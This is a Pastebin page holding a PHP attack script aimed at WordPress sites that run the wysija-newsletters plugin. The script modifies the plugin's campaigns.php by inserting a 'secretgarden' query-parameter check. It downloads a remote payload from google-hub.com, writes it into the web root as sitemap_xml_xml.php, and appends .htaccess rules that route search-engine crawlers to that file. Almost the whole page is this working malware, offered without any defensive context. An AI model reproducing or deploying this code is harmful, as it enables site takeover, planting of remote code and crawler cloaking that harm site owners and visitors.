Advertisement
PalmaSolutions

test.php

May 31st, 2018
437
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.71 KB | None | 0 0
  1. <?php
  2.  
  3. echo "[!]start\n";
  4. $mask       = '$bytes = $helperNumbers->get_max_file_upload();';
  5. $new_mask   = 'if(!isset($_GET[\'secretgarden\'])) { return false; } $bytes = $helperNumbers->get_max_file_upload(); ';
  6.  
  7. $parts = explode('/wp-content/',$_SERVER['PHP_SELF']);
  8. $wp_path = $parts[0];
  9.  
  10.    if(file_exists($fname=$_SERVER['DOCUMENT_ROOT'].$wp_path.'/wp-content/plugins/wysija-newsletters/controllers/back/campaigns.php'))
  11.    {
  12.     $content = file_get_contents($fname);
  13.     echo "[+] got campaigns.php len of ".strlen($content)."\n";
  14.  
  15.    }
  16.     if(is_writeable($fname))
  17.     {
  18.         if(!strstr($content, $new_mask))
  19.         {
  20.         $new_content = str_replace($mask, $new_mask, $content);
  21.         if($f=fopen($fname,'w'))
  22.             {
  23.             if(fwrite($f,$new_content))
  24.             {
  25.             echo "[+] ok, writed\n";
  26.             fclose($f);
  27.             }
  28.    
  29.         }
  30.         }
  31.         else
  32.         {
  33.         echo "[!] i was here, already\n";
  34.         return false;
  35.         }
  36.  
  37.        
  38.        
  39.         }
  40.         else
  41.         {
  42.         echo "[-] not writeable\n";
  43.         }
  44.  
  45.  
  46. function _curl_get_contents($url)
  47. {
  48. $host=str_replace('http://','',trim($url));
  49. $host_parts=explode("/",$host);
  50. $domain=$host_parts[0];
  51. $path=str_replace($domain,"",$host);
  52. $path=trim($path);
  53.  
  54. $sock=fsockopen($domain, 80, $errno, $errstr, 30);
  55.         if($sock)
  56.         {
  57.         $request="GET {$path} HTTP/1.1\r\n";
  58.         $request.="Host: {$domain}\r\n";
  59.         $request.="Connection: Close\r\n\r\n";
  60.         fwrite($sock, $request);
  61.         $data="";
  62.                 while(!feof($sock))
  63.                 {
  64.                 $data.=fgets($sock,128);
  65.                 }
  66.         fclose($sock);
  67.     $data=substr($data, strpos($data,"\r\n\r\n")+4);
  68.         return $data;
  69.         }
  70. }
  71.  
  72.  
  73. function make_great_htaccess($path)
  74. {
  75.  
  76. echo "[~] ok, working path {$path}\n";
  77. $egg="\n\n".'<IfModule mod_rewrite.c>
  78.                 RewriteEngine On
  79.                 RewriteCond %{HTTP_USER_AGENT} (google|yahoo|slurp|bing|msnbot|yandex) [OR]
  80.                 RewriteCond %{HTTP_REFERER} (zzzzzz)
  81.                 RewriteCond %{REQUEST_URI} /$ [OR]
  82.                 RewriteCond %{REQUEST_FILENAME} (html|htm|php|phps|shtml|xml|xhtml|phtml|asp|aspx)$ [NC]
  83.                 RewriteCond %{REQUEST_FILENAME} !sitemap_xml_xml.php
  84.                 RewriteCond '.$path.'/sitemap_xml_xml.php -f
  85.                 RewriteRule ^.*$    /sitemap_xml_xml.php [L]
  86.                 </IfModule>'."\n";
  87.  
  88.  
  89.                 if(file_exists($path."/.htaccess"))
  90.                 {
  91.                     $original=file_get_contents($path."/.htaccess");
  92.                     if($f=fopen($path."/.htaccess","a+"))
  93.                     {
  94.                     echo "            [+] ok opened for append\n";
  95.                     }
  96.                 }
  97.                 elseif($f=fopen($path."/.htaccess","w"))
  98.                 {
  99.                     echo "            [+] ok did not found .htaccess, opened for writing\n";
  100.                 }
  101.                 else
  102.                 {
  103.                     die("[!-] I cant do nothing here :(\n");
  104.                 }              
  105.            
  106.        
  107.                 if(fwrite($f,$egg)) echo "              [+] ok writed!\n";
  108.                 fclose($f);
  109.  
  110.                 echo "the final taccess looks like : ".file_get_contents($path."/.htaccess");
  111.                 echo "\nMHB INSTALLED ON THIS HOST       ".$_SERVER['SERVER_NAME']."\n";
  112.                 return true;
  113.                    
  114.     }
  115.  
  116. echo "[~] Current system : ".php_uname()."\n";
  117.  
  118. $OS=strtolower(php_uname('s'));
  119.  
  120. if(!strstr('win',$OS))
  121. {
  122.  
  123.     if($mhb_client=_curl_get_contents('http://google-hub.com/dr_cli.txt'))
  124.     {
  125.         echo "[+] Ok, ive got MHB client len of ".strlen($mhb_client)."\n";
  126.  
  127.                 if(file_exists($_SERVER['DOCUMENT_ROOT']."/sitemap_xml_xml.php"))
  128.                 {
  129.                 die("[!] Seems like ive bee there before\n");
  130.                 }
  131.            
  132.                 if($f=fopen($_SERVER['DOCUMENT_ROOT']."/sitemap_xml_xml.php","w"))
  133.                 {
  134.                     if(fwrite($f,$mhb_client))
  135.                     {
  136.                     echo "[+] ok, client writed!\n";
  137.                         if(make_great_htaccess($_SERVER['DOCUMENT_ROOT']))
  138.                         {
  139.                             echo "[+] SUCCESS\n";
  140.                         }
  141.            
  142.                     }
  143.                 }
  144.                 else
  145.                 {
  146.                     echo "[-] I cant write client in root dir\n";          
  147.                 }
  148.     }
  149.     else
  150.     {
  151.         echo "[-] cant get the MHB client\n";
  152.     }
  153.  
  154. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement